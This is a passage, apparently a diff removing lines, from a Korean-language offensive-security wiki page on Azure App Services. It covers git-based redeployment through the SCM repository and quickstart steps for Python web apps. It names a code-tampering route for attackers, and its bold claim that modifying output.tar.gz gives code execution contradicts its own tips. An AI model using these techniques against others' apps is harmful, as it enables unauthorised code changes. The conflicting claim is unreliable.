webapp deployment source config-local-git --resource-group -n - -# Access/Modify the code via git -git clone 'https://:@name.scm.azurewebsites.net/repo-name.git' -## In my case the username was: $nameofthewebapp and the password some random chars -## If you change the code and do a push, the app is automatically redeployed -``` -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -## 웹 앱 생성 예제 - -### 로컬에서 Python 사용 - -이 튜토리얼은 [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli)에서 제공된 내용을 기반으로 합니다. -```bash -# Clone repository -git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart -cd msdocs-python-flask-webapp-quickstart - -# Create webapp from this code -az webapp up --runtime PYTHON:3.9 --sku B1 --logs -``` -SCM 포털에 로그인하거나 FTP를 통해 로그인하면 `/wwwroot`에서 웹앱의 코드를 포함하는 압축 파일 `output.tar.gz`를 볼 수 있습니다. - -> [!TIP] -> FTP를 통해 연결하고 파일 `output.tar.gz`를 수정하는 것만으로는 웹앱에서 실행되는 코드를 변경할 수 없습니다. - -**공격자는 이 파일을 다운로드하여 수정한 후 다시 업로드하여 웹앱에서 임의의 코드를 실행할 수 있습니다.** - -### Github의 Python - -이 튜토리얼은 이전 튜토리얼을 기반으로 하지만 Github 리포지토리를 사용합니다. - -1. Github 계정에서 msdocs-python-flask-webapp-quickstart 리포를 포크합니다. -2. Azure에서 새로운 Python 웹 앱을 만듭니다. -3. `Deployment Center`에서 소스를 변경하고, Github로 로그인한 후 포크한 리포를 선택하고 `Save`를 클릭합니다. - -이전 경우와 마찬가지로 SCM 포털에 로그인하거나 FTP를 통해 로그인하면 `/wwwroot`에서 웹앱의 코드를 포함하는 압축 파일 `output.tar.gz`를 볼 수 있습니다. - -> [!TIP] -> FTP를 통해 연결하고 파일 `output.tar.gz`를 수정한 후 배포를 다시 트리거하는 것만으로는 웹앱에서 실행되는 코드를 변경할 수 없습니다. - - -## References - -- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - -{{#include ../../../banners/hacktricks-training.md}}